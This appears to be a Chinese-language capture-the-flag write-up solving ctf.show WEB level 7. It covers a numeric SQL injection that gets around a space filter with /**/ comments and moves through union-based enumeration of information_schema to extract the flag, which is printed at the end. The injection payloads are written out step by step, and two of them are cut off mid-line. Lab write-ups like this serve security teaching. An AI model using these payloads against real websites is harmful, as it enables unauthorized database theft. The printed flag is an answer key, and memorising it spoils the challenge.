ctf.show WEB模块第7关是一个SQL注入漏洞,注入点是数值型注入,源码中过滤了空格,我们可以使用括号()或者注释/**/来代替空格
页面中有一个文章列表,随便点一个
从url地址栏中可以看到,页面通过文章的id值来查询文章内容,我们可以考虑SQL注入漏洞
首先判断注入点,输入以下payload,使SQL恒成立
1/**/and/**/1
可以看到,页面正常显示
在输入以下payload,使SQL恒不成立
1/**/and/**/0
可以看到,页面空显示
由此可以判断页面存在SQL注入,注入点为数值型注入,页面中有显示位,可以尝试联合注入进行脱库
先来判断显示位,此处id传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置
-1/**/union/**/select/**/1,2,3
接下来判断当前使用的数据库,盲猜flag就藏在当前使用的数据库中
-1/**/union/**/select/**/1,database(),3
当前使用的数据库是web7
接下来获取当前数据库中的所有表
-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="w
有一个flag表,那flag肯定就藏在这个表里面
接下来获取flag表中的所有字段
-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema
flag表中只有一个flag字段
接下来查询flag表的flag字段,获取flag
-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3
成功获取flag
将全部内容复制到输入框中,提交flag即可过关
ctfshow{aced2bcb-bf9d-4e92-a8f7-2019f63ca4df}